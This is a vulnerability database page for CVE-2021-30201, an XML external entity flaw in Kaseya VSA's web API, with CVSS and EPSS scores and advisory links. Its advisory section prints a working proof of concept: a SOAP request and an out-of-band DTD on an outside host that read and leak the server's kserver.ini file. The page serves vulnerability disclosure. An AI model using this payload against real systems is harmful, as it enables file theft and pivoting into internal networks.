Vulnerability Details : CVE-2021-30201
Potential exploit
The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---> There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.
Vulnerability category: XML external entity (XXE) injection
Products affected by CVE-2021-30201
- cpe:2.3:a:kaseya:vsa:*:*:*:*:-:*:*:*
Exploit prediction scoring system (EPSS) score for CVE-2021-30201
0.23%
Probability of exploitation activity in the next 30 days
EPSS Score History
~ 61 %
Percentile, the proportion of vulnerabilities that are scored at or less
CVSS scores for CVE-2021-30201
Base Score | Base Severity | CVSS Vector | Exploitability Score | Impact Score | Score Source | First Seen |
---|---|---|---|---|---|---|
5.0
|
MEDIUM | AV:N/AC:L/Au:N/C:P/I:N/A:N |
10.0
|
2.9
|
NIST | |
7.5
|
HIGH | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
3.9
|
3.6
|
MITRE | |
7.5
|
HIGH | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
3.9
|
3.6
|
NIST |
CWE ids for CVE-2021-30201
-
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.Assigned by: nvd@nist.gov (Primary)
References for CVE-2021-30201
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https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/
Kaseya VSA Limited Disclosure | DIVD CSIRTPatch;Third Party Advisory
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https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021
Security checkRelease Notes;Vendor Advisory
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https://csirt.divd.nl/CVE-2021-30201
Authenticated XML External Entity vulnerability in Kaseya VSA < v9.5.6 | DIVD CSIRTExploit;Third Party Advisory
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https://csirt.divd.nl/DIVD-2021-00011
DIVD-2021-00011 - Kaseya VSA Limited Disclosure | DIVD CSIRTPatch;Third Party Advisory
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